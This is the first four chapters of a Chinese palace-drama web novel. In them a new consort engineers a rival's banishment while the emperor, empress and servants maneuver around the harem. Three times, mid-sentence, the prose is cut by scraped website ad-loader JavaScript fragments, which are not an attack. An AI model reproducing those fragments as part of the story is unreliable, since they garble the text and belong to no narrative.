《鸾镜花枝俏》 1. 第 1 章 “混账!” 御案上的茶碗打出一道璇儿,砰地摔向宝相花的金砖之上,殿内埋首的一众朝臣心头突地一跳,面色惊恐,连忙伏身跪地,大呼:“皇上息怒!” 伺候在侧的总管大公公全福海也吓得脖颈一抖,跟着扑通跪下来,战战兢兢地垂低脑袋,大气都不敢出。 今岁事儿多,河东、山南两地大旱,江南、岭南大水,大魏各地哀鸿遍野,怨声载道,先帝爷在世时遗留下的沉疴旧疾就在皇上上位这两年接连暴露出来。贪官遍地,世家显赫,各州府势力盘根错节,哪是一时就能捋得清,除得尽的。 先帝爷是死的轻巧,所有担子都压给御极不过两年的皇帝,皇上日也忙夜也忙,连用膳的功夫都没有,昨儿个刚解决了江淮水渠,今儿皇上正为旱情发愁,一大早河东八百里加急,灾民暴动,里面出来了领头的起义,河东禀事的官员刚退下,山南又来了奏报,在这节骨眼上启奏安、郢,复、襄四州加税,丝毫不管百姓疾苦,皇上能不震怒吗! 一片死寂之中,宋文进颤颤巍巍地爬出来,“皇上,天下大灾,国库空虚,若不加税,何以养我大魏子民,山南刺史江忱是工部外调官员,必对民情有所了解,加税想必是深思熟虑,经过了一番考量。” 李怀修沉着脸色捻了两圈扳指,冷笑一声,“经过一番考量?” 他抽出御案上拆了火漆的密信,劈手砸到宋文进脸上。 “倒底是考量当地灾情,还是考量朕庸碌无能,敢犯下这欺君之罪!” 这道斥声只叫下首的众人愈发胆战心惊,瑟瑟发抖。宋文进一目十行看完那封密信,登时吓得脸色惨白,颤巍巍的身子骨快抖成了筛子,“老臣不敢!” 宋文进自诩两朝肱骨,倚老卖老,晚年不为民造福,反而汲汲营营,一心想着身后功名。李怀修忍下骂声,冷睨一眼,念在他尚且忠心的份儿上,没再多言,视线一一扫过跪地的众臣。 “君者,舟也;庶人者,水也。水则载舟,水则覆舟。朕承位以来宽仁度法,行养息之策,便是要万民载我大魏万万之年。江忱胆大妄为,贪婪无度,若我大魏尽是如此蠹虫,还谈何万年!” 朝臣们大气儿都不敢出,皇上虽登基两载,他们却是亲眼见过皇上处置叛臣的手段,能留到现在的臣子,要么是忠君之士,要么是没那个反抗的倚仗和胆子,要么就是皇上还未来得及收拾。他们这些人里三者皆有,尤其是曾经跃跃欲试,想要战队九皇子一党,无不夹紧了尾巴,生怕皇上记起自己。 殿内静了稍许,李怀修捻着扳指,目光停留到群臣末首,青隽沉寂的一人身上。 “柳絮白。” 众臣中,跪在末首的男子站起身,恭敬地走到圣前,“臣在。” “朕命你为左都督御史,奉旨前往山南,取替沈忱主持灾情事宜,你可有异议?” 话音落下,殿内众人无不诧异。跪在地上的宋文进老脸古怪,一脸震惊地出言谏议,“皇上,柳郎中年纪尚轻,怎可担当如此大任!” 李怀修不耐烦地压着扳指,呵笑看他,毫不留情呛道,“柳郎中年纪尚轻,不如就由一把老骨头的宋太傅前去山南。” 宋文进颤了下身子,埋低头,闭紧了嘴。 山南险地,谁愿意放着大好日子不过,跑去那种地方。宋文进年轻时尚有几分人臣爱民之心,如今老了,只想颐养天年。皇上是看他不中用,他再贸然劝阻,这把老骨头怕是要被迫回府休养,在朝中哪还能有一席之地。宋文进审时度势,不敢再多言。 柳絮白脸上毫无变色,不卑不亢,“臣接旨。” 朝臣散去,已过了午膳的时候,全福海忙唤御膳房送膳,皇上早上就没吃,这一日一日的,身子怎么受的住。 …… 后宫不得干政,后宫的嫔妃对前朝风波感触并不深,她们最关心的,是皇上已经有一个多月没踏进后宫。 刚过了选秀,新人入宫有三个月,除去那位家世颇高的宁嫔侍寝两回,升了位份,其余的人,就是连皇上的面都没见过。 御花园里,身穿桃红襦裙的陆才人挥舞着水袖,在揽月湖边翩翩起舞。陆才人出身不高不低,父亲是朝中正五品官员,胜过了后宫大多数的嫔妃,但比之宁嫔等人,便逊色了许多。 远远地听见有人过来,陆才人眼眸一动,似是不经意般往那头点脚,一个璇身,正要扬起一张春光灿烂的脸蛋,只听一声惊叫,便见水红的花汁不偏不倚,悉数泼去她的裙裾,污染了金线钩织的暗纹桃花。 陆才人当即变了脸色,打量一眼两人的穿着,约莫是哪宫的奴才,登时柳眉倒竖,厉声喝道:“你是哪宫的奴才,敢这般大胆冲撞主子!” 月香这时才反应过来自己闯了祸,即便是这位主子莫名其妙跑出来撞到她身上,但主子终究是主子,哪有她一个奴才说话的份儿。月香有些委屈,更多的是害怕,她白着脸,扑通跪下身,淋漓的花汁染了满鬓,显得格外狼狈,她顾不得擦拭,战战兢兢地请罪道:“奴婢该死,奴婢该死,主子息怒!” 宫里头尊卑贵贱向来分明,奴才到什么时候都是奴才,想不受人轻贱,就要看身后主子的脸面。月香不想给主子惹麻烦,额头连连磕到地上,几下就要出了血丝。 “我这身宫裙是十余绣娘花费数月缝织而成,价值千金,便是要了你这条命,也赔不起!” 陆才人不依不饶,原本听闻皇上今儿个会到御花园,她才舍得换上这身衣裳,引得皇上注目,哪料想就这么毁了。 陆才人越想越气,“香凝,给我掌嘴!” 低三下四成这样,想必后面的主子也是好欺负的。陆才人拂了拂发鬓,毫不留情地开口。 后宫里的主子责罚人一向是下手不留情,但要是受了这罚换得陆才人不计较,受也就受着了。月香不想给主子惹麻烦,颤着脖颈,瑟瑟发抖地等待巴掌落到脸上。 陆才人看也不看她,香凝走到身边,抬起手,巴掌就要打下去,耳边忽地传来一道人声,“住手!” 陆才人皱起眉,朝来人看去。 月香听到这道人声,面上陡然一喜,红着眼圈巴巴地朝那人去看。 明裳到陆才人跟前,看清了是谁,眼眸不动声色地扫过她身上狼藉的衣裙,屈膝福身,“嫔妾请陆才人安。” “你识得我?” 原本新人入宫后,是要日日到坤宁宫问安,但这段日子皇后娘娘去了佛心寺祈福两月,后宫诸事交由丽妃协理。丽妃喜静,免了众人的问安,因而,新人入宫后,彼此也未得见过几面。 陆才人仔细看着眼前的女子,越看越是心惊,早知后宫花团锦簇,争妍斗艳,却还是没想到,世上竟有如此貌美的女子。眉如细柳,肤如凝脂,唇似丹华一点,乌黑的云鬓斜斜簪了一支海棠鎏金嵌白玉步摇,便是这张脸蛋,足以称得上是倾国倾城,还真是个美人胚子。 陆才人天生姿容不够,瞧见这张漂亮的脸蛋,气得手中的绣帕攥紧。 “你是谁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?” 明裳仿似没察觉她的怒意,柔柔一笑,“嫔妾是新进宫的宝林虞氏,陆姐姐舞姿蹁跹,一舞倾城,嫔妾在宫外时就有所听闻。” 上京城里虞氏一脉并不多,世家中更是没听过虞氏的名号。陆才人上下打量一眼,心中鄙夷,生得貌美又如何,还不是毫无倚仗,要在宫里给她伏低做小。 不过这句奉承的话确实深得陆才人之心,她容貌不足,胜在身段好,论舞姿,京城没几人能比得过她。 “你来,是想替这奴才说情?” 明裳没有否认,“月香是嫔妾宫里的人,性子安分守己,想来不是有意脏了姐姐的裙子。” 陆才人冷哼,“不管是不是有意,裙子脏了就是脏了,价值千金的一件衣裳,就是你二人掏空了府上的家底,也换不来。” “虽是脏了,我却觉得陆姐姐这件脏得恰到好处。” 陆才人气急,“什么意思?你是说我活该?” 明裳没有反驳,眼神瞄到芍药花伸出来的枝杈,走过去折了一枝,屈膝到陆才人身前,芍药鲜红的汁水描摹着原本就红艳的裙裾。 “你做什么!”陆才人语气威胁,“你大胆……” 胆字的尾音被陆才人咬在了喉咙里,妖冶的红层层叠叠铺上裙裾,袭来的花香引的蝴蝶飞来,起舞婀娜。 陆才人所有的气,瞬间就消了。 明裳退后一步,捏着帕子擦去指尖的汁水,似是无意中说了句,“新鲜的花虽美,香味却退的快,可惜姐姐只能看这一时。” 她看不看不重要,皇上看才是最重要的。 陆才人怎能浪费了这大好时机,此时她全然忘了责罚两人的心思,瞧了明裳两眼,心道,待她得了圣宠,再来收拾这个碍眼的小贱人。 …… “主子……”月香泪珠子一串一串地从眼眶里掉出来,一把鼻涕一把泪,哭得甚是可怜。 明裳无奈地叹了口气,亲自扶她起来,月香和辛柳是她入宫带进来的丫头,月香性子活泼,只是少了些稳重,还须得历练。 “回去好好洗洗。” 月香鼻尖酸涩,“奴婢又给主子惹事了,主子骂奴婢两句吧。” 明裳捏着帕子擦掉她脖颈的花汁,指腹点了下月香眉心,笑道:“我骂你做甚,倒是你要记得,宫里不比府上,我总有顾不到你的时候,万不能再如此莽撞了。” 月香哭得眼圈发红,使劲儿点头,“奴婢记住了!” …… 午膳端进了东暖阁,皇上只用了一小碗燕窝粥就撂了筷,全福海担心皇上的身子,频频想要开口,触到皇上冷淡的脸色,那些话,怎么也不敢说出去。他一个奴才,怎么敢管主子的事儿,可是皇上身子累着了,一旦太后娘娘责问起来,首当其冲的就是他啊。 全福海左也不是右也不是,心里正琢磨着,又见皇上撂了折子,他心领神会,“皇上可是要吩咐奴才?” 李怀修掀起眼皮睨他,指骨敲了敲御案,骤然起身,“去御花园走走。” 全福海忙声应下,去吩咐宫人备銮仗。 时值季夏,绿槐高柳,熏风如醉,新蝉鸣弦。 以往皇上心情不好,就会到这御花园的揽月湖边喂鱼,后来这事儿传开,三两成群的嫔妃接二连三地偶过此地,皇上厌烦,慢慢地也就不来了。 作为御前的大公公,全福海可不能没这点眼力,见皇上往揽月湖那边走,忙唤人把鱼食拿出来,连跑带颠地追过去。 2. 第 2 章 陆才人这回叫了宫人守着,看清了来人是皇上,陆才人双颊顿时扬起又娇又喜的窃色,迫不及待入皇上的眼,好得一时荣宠,扬眉吐气。 然,坐拥江山的帝王,什么样的女人没见过,陆才人自以为精心的安排,在李怀修眼里并不新鲜,甚至有些乏味和厌烦。 陆才人如预想的一般,卷着衣裙,含羞带怯地服下身子,“嫔妾才人陆氏给皇上请安。” 选秀之时,她远远地偷瞄过一眼龙椅上的九五至尊。既入了宫,就是要争宠,要做宫里最尊贵的娘娘,不争的人才是傻子。陆才人不在乎皇位上坐着的人是高是矮,是胖是瘦,是隽秀还是丑陋,不论怎样,她都要尽心侍奉,讨得欢心。但那一眼过去,陆才人原本七分进宫的心思,瞬间成了十分。 庙宇辉辉,灯影重重,金銮御座之上的男人神情寡淡,对下面站着的琳琅佳人都兴致缺缺,狭长的丹凤眸微微掀起时,威仪毕显,凌厉雍贵,好似这锦绣江山,理所应当就该在他之手,尽数做了他的陪衬。 许是她看得久,李怀修漫不经心地抬起眼皮子,视线也在她身上落了一瞬。 即便是片刻的停留,足以叫陆才人记到了现在。 上京的世家子弟,或才学出众,或俊美无俦,却从未有人,能端得起这般的帝王气度。 陆才人愈发羞涩了,满心满眼的羞怯,并未察觉男人眼中的不耐之意。 李怀修转了两圈扳指,淡淡睨了全福海一眼,全福海吓得不轻,皇上都多久没来揽月湖了,怎么后宫这些主子还锲而不舍的在这等着。皇上先前也未提个醒,他是真不知晓有主子在这守株待兔!皇上万一怀疑他泄露帝踪,他才真是百口莫辩! 全福海挤出一个难看的笑,李怀修冷冷嗤了声,拨着扳指撩袍坐到湖边的亭子里,“爱妃缘何在此。” 这便是为君者的高明了,喜怒不显于色,旁人闻言,倒真觉不出话里的不对劲儿,以为只是寻常的一问。全福海自打潜邸时就跟着皇上,哪听不出皇上已是不耐到了极点,偏生这位才人主子毫无所觉,许是受了爱妃二字的取悦,脸上的红意愈甚,全福海脊背冷汗涔涔,为这位不知死活的主子捏了把汗。 陆才人一无所觉,羞红了脸,刻意压着声音柔柔道:“春风和煦,嫔妾为春日编了舞曲,不想……不想叫皇上看见了。” 李怀修眼光闲散,忽地起了身,屈指挑起陆才人的下颌,勾唇轻笑,“你在这跳,不就是要给朕看?” 眼尾泄出的笑意减了威严,添了几许不属于帝王的肆意风流。若仔细看,那双狭长的眸底却未掀起一丝一毫的波澜,平静得透着凛冬的寒意。 陆才人一时语滞,眨巴着眼,呆呆地回视着李怀修,竟不知该如何回话。 “嫔妾……” 李怀修脸色淡漠下来,后宫女子皆是如此,恋慕他的权势、地位,为此勾心斗角,费尽心机,见得多了,李怀修对后宫这些相差无几的娇花慢慢也就提不起了兴趣。 下颌温凉的白玉扳指离开,陆才人触到男人的脸色,陡然回神,她也非蠢笨无脑,这时才明白皇上的话中深意,窥探帝踪,乃是大罪! 她容色仓惶,急声辩解,“皇上明鉴,嫔妾当真不知皇上在此,皇上就是给嫔妾一万个胆子,嫔妾也不敢窥探皇上的行踪,皇上明鉴!” 李怀修垂下眸,目光落到陆才人衣裙晕染的大朵大朵艳红花蕊时,微眯了眯眼,“拖下去!” 陆才人猛地抬头,见皇上眼神冰冷,额头砰地叩在地上,脸色惨白,“皇上明鉴!嫔妾当真没有窥探帝踪啊!” 李怀修沉下声,“西域弥南灭国后,国土弥楠花长盛数十余年,火烧不枯,大旱不死,是为亡国。你裙裾所画弥南,是在诅咒我大魏万世之基业么!” “弥……弥南?”陆才人眼神茫然,忽地记起什么,脑中嗡的一声,陡然僵住了身子。 “新鲜的花虽美,香味却退的快,可惜姐姐只能看这一时——” 她原本不打算在揽月湖边停留太久,是那女子,那女子有意催促,她急于争宠,怎么会注意到这些细枝末节。 贱人! 陆才人捏紧了帕子,牙关咬紧,心底恨意陡生。 她抬头啼哭,“嫔妾是冤枉的,嫔妾并不知道什么弥南花,是有人用手段算计嫔妾!皇上相信嫔妾,嫔妾是冤枉的!” 陆才人涕泗横流,叫人拖拽着,鬓发的珠钗在挣扎中掉到地上,裙裾覆了脏尘泥土,将那弥南花也一并掩盖,全无方才张扬明媚的模样。 “是虞氏,虞宝林陷害嫔妾,求皇上明鉴啊!” 全福海悄悄瞄着皇上脸色,见皇上看也不看被拖下去的陆才人,就知道这是再无回旋之地了。 皇上大抵是真的厌倦了后宫嫔妃的争宠,自打新人入宫,隔三差五的就有主子往御前送汤水,起初全福海还去通禀,后来皇上愈发不耐烦,睨他的眼神跟冰刀子似的,全福海不敢再去传话,直接留了汤水,皇上自是不会去喝,那些补汤悉数进了御前小太监的肚子。 这厢皇上哪是惩治陆才人,不过是借由陆才人的幌子,告诫后宫那些新人,不要自作聪明,入了宫就要安守本分,待皇上有兴致了,自会挑两个合眼的召幸。 …… 陆才人被打入冷宫一事很快在宫里头传开,世上没有不透风的墙,更何况这事儿是皇上杀鸡儆猴,有意做给那些新人看,一时间人人自危,心惊胆颤,回忆着之前做过的事儿,生怕行差踏错,惹祸上身。 后宫众人都在议论陆才人误穿亡国之衣惹皇上震怒,却忽视了陆才人怎会如此蠢笨,绣娘们又怎会见过西域弥南的圣花。 后日,皇后从佛心寺祈福回宫,便听说了这桩事。两月前,钦天监所指,皇后在选秀之后,前去佛心寺,为大魏江山祈福。如今两月过去,回宫也并未召六宫嫔妃请安见礼,只传丽妃说了些六宫事务。 坤宁宫 皇后倚靠着金线襄绣大团牡丹的引枕,垂眼地翻看着这两月后宫的用度,听闻陆才人的事儿,翻阅的指尖儿微顿,摇了摇头,“新人心气儿高,却不知在这深宫里,明哲保身才是聪明人的法子。” 文竹递上茶水,觉得解气,“新主子们仗着是新人,刚入宫请安那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 日就不把娘娘放在眼里,几番顶撞,奴婢倒觉得,皇上把陆才人打入冷宫,是为了维护娘娘。” 皇后接过茶水,瞧着里面茶叶打出的璇儿,片刻失神。她是皇后,是皇上的发妻,皇上信她敬她,唯独缺的,是那份给女子无度的疼宠。譬如这回她出宫两月,宫里却从未有只言片语的关照传到佛心寺。 但身为皇后,又如何能要嫔妃的宠爱。 她有时羡慕丽妃没有坐在这个位子上,可以由得皇上一两回的纵容。 文竹见娘娘久久不语,以为是自己说错了话,她是娘娘身边的老人,皇上待娘娘如何,她都看在眼里。 娘娘十七岁就入了王府,做成王正妻,如今过了十年,皇上与娘娘可谓是伉俪情深,娘娘一心一意打理后宫政务,少让皇上劳心。 当年潜邸,徐侧妃有身孕没多久偶感风寒,皇上离京替先帝爷查出银税的案子,是皇后娘娘衣不解带的照顾徐侧妃,偏生后宫的主子们不知安生,把娘娘的仁善当成了软弱。 文竹慢慢叹息一声,换上笑脸,又道:“娘娘,今儿是十五,奴婢吩咐御膳房多做几道晚膳,等皇上过来。” 初一十五坤宁宫侍寝,这是祖上以来雷打不动的规矩。更何况娘娘刚回宫,皇上定能过来看看娘娘。 提及此,皇后也不再去想那些扰心的事,将茶水递给她,“皇上喜食清淡,叫御膳房的人都仔细着。” 文竹掩唇低笑,“奴婢省得。” 她正欲退出殿门,吩咐人准备晚膳,又被唤住,皇后随意拂了拂衣袖的金鸾凤鸟,眼眸落向娟丽的金线,“陆才人被皇上责罚之前可还见过什么人?” 文竹跟在娘娘身边多年,听了这句,一瞬就了然了其中的意思,她恭敬地垂下眼,“奴婢这就去查。” 皇后微顿,思量一番,摇了摇头,“罢了。” “娘娘?”文竹愕然地抬起头,不解其意。 皇后没说什么,只让她下去。待文竹退出内殿,皇后脸上才露出一抹讽笑,都说她这个皇后做的温良宽宏,但她怎么可能没有私心。宽仁得皇上敬重,同样也给了那些人机会,毕竟这天底下只有一个皇帝,后宫里也养不了太多的皇子。 这张慈面带得久了,久而久之,倒底是怎样的人,谁又能分辨得清。 …… 是夜,月华卷挟似水的凉意,笼罩到皇城之上。 人定时分,乾坤宫的镂窗透出明朗的光亮,四角琉璃宫灯新换了一盏,全福海沏好热茶,轻手轻脚地送入殿内。 这夜是十五,坤宁宫侍寝,全福海一直记着,可皇上似乎并没放在心上。他瞄了眼漏刻,摸不准皇上的意思,皇上究竟是去还是不去。不过不管皇上去不去,他身为御前大公公,都得给皇上提这个醒。在御前当差,就是要把脑袋别到裤腰上。 全福海忝起笑脸,“皇上……” 李怀修执笔批着奏折,神色专注,看也不看他。 全福海莫名一头冷汗,心惊胆颤地说下去,“今儿是十五,皇上……” 剩下的话卡在嗓子眼儿,全福海怎么的也说不出来。 3. 第 3 章 李怀修慢条斯理地看完剩下的两本奏折,才抬起眼,靠到椅背上,问了个毫不相干的问题,“查到了,虞宝林是怎么回事?” 全福海愣了下,要说虞宝林蠢笨吧,偏生想出这么个法子,轻而易举地除掉了陆才人,要说虞宝林聪明吧,又留了身份,落下个把柄。除非虞宝林是真真不知晓弥南花的来历,否则他还真摸不准这位主子倒底使的是什么手段。 后宫嫔妃争宠,倚仗的不止是美貌家世,还要有那么一点心机,丽妃娘娘虽是潜邸旧人,却到如今盛宠不衰,靠的就是能在皇上心里占据一席之地的本事。 全福海一五一十地答完,李怀修听了没生出多余的情绪,指骨敲敲御案,仿佛只是随意问出的话,并没放在心上。 全福海想问皇上今夜可还要去坤宁宫,可他频频觑了几眼,始终没有那个胆子,他是御前当差不假,但皇上是君主,他只是个奴才,劝言一两句就罢了,哪敢僭越,去管皇上的事儿,这脑袋还要不要了。 良久,全福海才见皇上起身,“去坤宁宫。” 全福海悬着的心终于落下来,他可怕皇上随口说一句要丽妃娘娘侍寝,那明日这后宫里可是热闹了。 …… 合宫盯着圣驾的动静,得知皇上去了坤宁宫,嫔妃们没再存什么期待的心思,今儿是十五,坤宁宫侍驾无可厚非。 顺湘苑 雪白圆润的足尖儿点地,明裳从浴桶中出来,辛柳立即为她披上了净身的大巾,一人高的铜镜中映出女子玲珑有致的身形,高的是月凶月甫,低的是腰窝。辛柳熟稔地为主子擦拭,到那两处,忍不住红了脸,想起什么,说道:“主子身量又长了,奴婢明儿个跑内务府一趟,给主子置备新衣。” 明裳换上衾衣,坐到妆镜前,那张脸蛋褪去婴儿肥,愈发得俏丽媚人,稍许开口嘱咐,“挑着绛紫,月白的拿。” 还未侍寝得宠,穿得绯红鲜亮就是给人做了活靶子。 两人将出了净室,就听外面一阵争执声。 “上个月你说家中三弟风寒,没银子诊治,是主子心善,为你三弟拿了三两银子。知顺,主子对你不好吗?你竟然还敢偷主子的首饰拿去变卖!” 月香泼辣的声音尤为清晰。 闻言,明裳轻轻蹙起了眉尖儿,辛柳正要说话,明裳使了个眼色止住她,便又听外面道:“月香姐姐,你小声些,别扰了主子清净!” 月香朝他啐了一口,冷笑,“我便是要嚷嚷,让主子看看你这个吃里扒外的狗东西!” 知顺扑通跪下来,就差捂住月香的嘴,一把鼻涕一把泪地哭求,“月小姑奶奶有主子体恤,哪知我们下面奴才的疾苦,家里头弟弟病重,又有三个幺妹,都揭不开锅了,主子不缺这些首饰,就让奴才拿去吧!” 月香气得白了脸,撸起袖子斥骂他,“倒底是接济家里,还是为了变卖银子给自己讨得好去处,你当姑奶奶眼睛瞎了吗?” 知顺大惊,被戳中阴私,结结巴巴地一时竟不知如何回话。新人入宫,别宫主子都想尽了法子到御前露脸,偏生他伺候这位,不思进取,连想法子争宠都不会。 昨儿个他私下里听着,原来这位主子父亲还得罪了太傅宋大人,差点丢了命,知顺哪敢在顺湘苑待下去,赏他那几两碎银子,都不够承明宫洒扫宫人得的油水! “怎么,哑巴了?”月香抄起廊下的扫帚就要往知顺背上打,“吃里扒外的狗东西!” 知顺避之不及,哎呦一声滚到地上,这时,内殿的门打开,知顺瞧见主子出来,脸色大变,不知方才主子听去了多少,主子再不受宠也是主子,责罚他这个奴才绰绰有余。 …… 夜里风凉,明裳裹着披风,坐在廊下的圆凳上,慢悠悠地饮茶。 宝林侍从六人,掌事太监,掌事宫女各一人。除却明裳从家中带进宫的辛柳和月香,剩下四人皆是由内务府分配。 主子不得宠,下面的人自然伺候得不尽心,这个时候把人唤起来,有外心的免不得抱怨几句,两刻钟过去,那些心怀鬼胎的奴才察觉了不对劲儿。 明裳见时候差不多,掀起眼,一一打量过跪着的宫人,目光清淡,却压得人抬不起头。 温在壶里的水快要凉透,明裳才不紧不慢地开口道,“你们在顺湘苑伺候许久,倒也辛苦。” 这话说得几人不免心虚,知顺借着家中由头,能躲懒就躲懒,感受到落在头顶的视线,手臂颤颤巍巍,额头紧磕在砖面上,沁出了一层冷汗。 明裳微顿,收了脸上的笑意,唇角却是在勾着,话声也柔柔的,“我知你们各有难处,倘若谁有心离开顺湘苑,从月香这领五两银子,我不会为难你们。” 月香惊得瞪圆了眸子,“主子!” 辛柳看了她一眼,月香不情不愿地闭上嘴,心里仍旧有气,主子带进宫的银子本就不多,做甚便宜了这些吃里扒外的东西! 知顺眼睛倒是亮了,蓦地抬起头,又为自己的行径洗刷一番,“奴才绝非弃主子而去,他日奴才伺候到了高位,定为主子美言几句!” 明裳没说什么,只让他领了银子,随后跟着的一个宫女叩了个头,领了五两,末了,四人只剩下一人,是跪在知顺后面干干瘦瘦的小太监。 “奴才不走,奴才要留下伺候主子!” 明裳疑惑蹙眉。 那小太监又道:“主子大抵是不记得奴才了,奴才名唤辛小五,主子进宫那日正巧遇到奴才冲撞了高位主子,为奴才解了围,若非主子,奴才这条命怕是也没了。” “奴才誓死追随主子!” 宫里捧高踩低见得多了,倒是少有如此忠心的人。 明裳浅浅地弯起唇,“月香,多给他五两。” 辛小五猛地抬头,乍然愣住,月香气顺了些,将剩下的银子都塞到他怀里,“主子是赏你的,留下吧!” …… 昨儿是坤宁宫侍寝,明裳去得早了,还不见皇后娘娘,过一会儿,二重珠帘掀开,从外入了一着靛青宫裙,弱柳扶风的女子,殿内的宫人见到来人,齐齐起身福礼,“嫔妾请丽妃娘娘安。” 丽妃温和一笑,坐到主位右手边的位子上,举手投足间端的是素净温雅,如江南淡水素墨的画卷。 “妹妹们不必多礼。” 丽妃是皇上在潜邸时的旧人,传闻与皇上青梅竹马,皇上娶妻之时,为正妻的人,本该是丽妃。 传言毕竟是传言,道听途说,没人敢去查证。皇后仁善,丽妃柔婉,丽妃身子弱,病重时皇后常去探望,从未听说有过龃龉,渐渐的,谣言也就不攻自破。 不多时,皇后娘娘入殿,瞧了眼殿内的嫔妃,目光不着痕迹地在丽妃身上落了一眼,“丽妃妹妹身子近来可好?” 丽妃笑着回话,“劳皇后娘娘记挂,嫔妾身子好了许多了。” 皇后和笑地点头,“本宫瞧着你气色也是好了。昨儿个本宫还与皇上说起,妹妹若身子好了,不如把牌子挂上去,新人不懂事,还是你伺候得舒心。” 丽妃闻言面色没什么变化,倒是下面的新人坐不住了,皇后娘娘这是借着陆才人的事儿给她们敲打,但她们争宠有何错处,若不争,皇上怎会去看她们一眼! 散了请安,清沅 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 扶着娘娘上了仪仗,娘娘母家与皇室有姻亲,攀起来算的上皇上的表妹,念及年少的情分,皇上待娘娘也颇为照顾,因而娘娘嫁入王府就是侧妃,一入宫就是妃位。 仪仗停到重元宫,丽妃喜静,故虽是妃位,宫里头没留多少伺候的下人。清沅端着熬好的汤药进殿,伺候娘娘服下。丽妃形容清瘦,纵使是暑夏,手也是捂不热的凉意。 清沅憋了许久,忍不住提了一嘴,“娘娘旧疾发作,分明不宜侍寝,娘娘怎么就答应了皇后娘娘挂上侍寝的牌子。” 丽妃常年吃着苦汤药,早已尝不出滋味,白净的帕子擦掉嘴边的药渍,眼眸垂低,“本宫这副身子是养不好了,若不趁着此时得皇上怜惜,他日新人入眼,皇上又怎会记得与本宫的情谊。” “娘娘……”清沅眼圈泛红,心疼不已,“当年皇上领军越州,突染恶疾,逢军中粮草匮乏,是娘娘为行军捐了自己所有的嫁妆,又四处奔走,为皇上求医寻药……娘娘的辛苦,皇上都明白,怎会忘了与娘娘的情谊。” 丽妃苦涩的闭上眼,眼尾悄无声息地坠下两滴清泪,“皇上最是厌恶挟恩图报,此事日后不准再提。” 更何况当年她的所作所为,怎会没有私心。皇上能待她母家如此,她已是千恩万谢。 清沅不再说话,只是更加心疼娘娘,要是娘娘身子好些,也就不至于小产丧子,有皇子傍身,总归是要比倚靠虚无缥缈的圣宠来得稳妥。 旁人看不到丽妃的艰难,羡慕皇上待丽妃的优容,经过请安时皇后的提点,新妃去御前要斟酌一二,全福海得了清闲,倒是御前伺候的小太监,吃不着御膳房的油水,愁眉苦脸得好几日。 前朝烂摊子不断,全福海每每进去伺候,都打起十二分的精神,生怕哪句话说错,这脑袋咔嚓就没了。 …… 坤宁宫侍寝后,皇上又多日未踏进后宫,新人使尽了浑身解数,也没得见皇上一面。 到后午,议事的朝臣退出殿门,全福海瞧一眼外面西沉的天色,是该传晚膳了。 全福海觑了眼皇上,幽州密报快马加鞭地送到京城,皇上处理了这处的事又去操劳那处,连喝水的功夫都没有,瞄见皇上终于撂了奏折,全福海终于见缝插针,“皇上忙了一日,奴才吩咐御膳房传膳吧。” 他顿了下,卖力道:“一大早林御厨就备了黄焖鱼翅,炖上一日,入口别提有多软烂,现在正是用的好时候……” “皇上要想吃清淡的,御膳房也准备了清蒸鲈鱼,哎呦,那味道叫一个香……” 李怀修听得不耐烦,转了转扳指,凉凉掀起眼皮睨过去,全福海觑见,浑身一定,登时止住音儿。 殿门这时打开,外面小太监捧着食盒进来传话,“皇上,柳美人送了羹汤,在外求见。” 柳美人不同于后宫新进的嫔妃,柳美人是潜邸柳侧妃的嫡亲妹妹,一年及笄进了宫,还算得宠,皇上得空会召上一两回。 倘若是旁人,这羹汤不送也罢,偏偏来人是柳美人。柳美人与后宫其余嫔妃没什么不同,唯一的特殊之处就是她的长姐,是皇上潜邸是宠过一段日子的女人,可惜柳侧妃命薄,好不容易有孕,却没能平安生下来,难产而亡,连孩子都没保住。如今皇上御极,坐到高位,柳家人哪能安心,自然得送进宫一个姑娘,皇上看在已故柳侧妃的面儿,也就收了。 柳美人确实安分,少有到御前碍眼,今儿难得来这一趟,全福海琢磨皇上今夜会不会摆驾永和宫。但瞧着侍寝嫔妃的名册中,丽妃娘娘宫里头也递了名牌,想来丽妃娘娘身子已是大好,就是不知今夜皇上会召幸哪位主子。 4. 第 4 章 柳美人在殿外等得忐忑,皇上已有些日子没召幸她,听闻是前朝事务不断,因而皇上抽不开身进后宫,虽是如此,可新人中也曾有几人得见圣颜侍奉圣驾,柳美人入宫半载,心高气傲,可不想就此被新人比下去。 她绞着帕子心急之际,殿门打开,御前大公公全福海走出来,朝她福了身,一脸和笑,“皇上召美人主子今夜侍寝。” …… 是夜,柳美人侍寝,丽景轩上上下下热闹起来,宫人忙忙碌碌地清扫内殿。月香捧着尚宫局送来的冰正往顺湘苑去,没几步就被前面过来的宫人撞到了胳膊,怀里抱着的冰匣噼里啪啦撒到地上。月香噌得冒了火,内务府看人下菜,她磨破嘴皮才要到这么点冰,现下全被撞洒了。 来人是柳美人身边的大宫女彩芸,瞄一眼弄洒的冰匣,似是惊讶地捂紧了唇,话里话外尽是挑衅的意味,“对不起了月香姑娘,皇上召了美人主子侍寝,方才我忙中出错,撞散了冰匣,想必宝林主子也不会怪罪。” 月香心里不忿地翻了个白眼,恨不得啐她脸上,又怕给主子招惹麻烦,忍住心气,强撑起笑脸,“不打紧不打紧,我再跑一趟内务府就是。” 彩芸又嗤嗤地笑了,眼神鄙夷,“宝林的月例能有多少,你倒是把宫里当成自己府邸了。”说到这,她顿了下,似是想起什么,勾唇奚落,“要那么多冰做甚,左右皇上也不过去。” “虞宝林入宫多月,可曾面见过圣上?” 话有多难听说得就有多难听,月香恨不得撕烂了彩芸那张得意张狂的脸。彩芸撞了下月香的肩膀,斜眼离开。见人走远,月香使劲跺了下脚跟,暗道,人无百日好,花无百日红,她不信柳美人能一直得宠,自家主子聪慧貌美,怎会比不上柳美人! 月香捧着冰匣,气呼呼地回了顺湘苑,辛柳瞧见她空手而归,以为是内务府见主子不得宠,不愿给冰,又寻了新的借口,正要安抚几句,月香就崩豆子似的把前因后果说了出来。辛柳微讶,柳美人确实不好相与,主子进宫后,柳美人虽不是永和宫主位,却仗着位份资历,处处给主子拿乔,隔三差五寻主子错处,今夜皇上竟召了柳美人侍寝…… 辛柳比月香思虑深,她回内殿,将这事儿禀给主子。 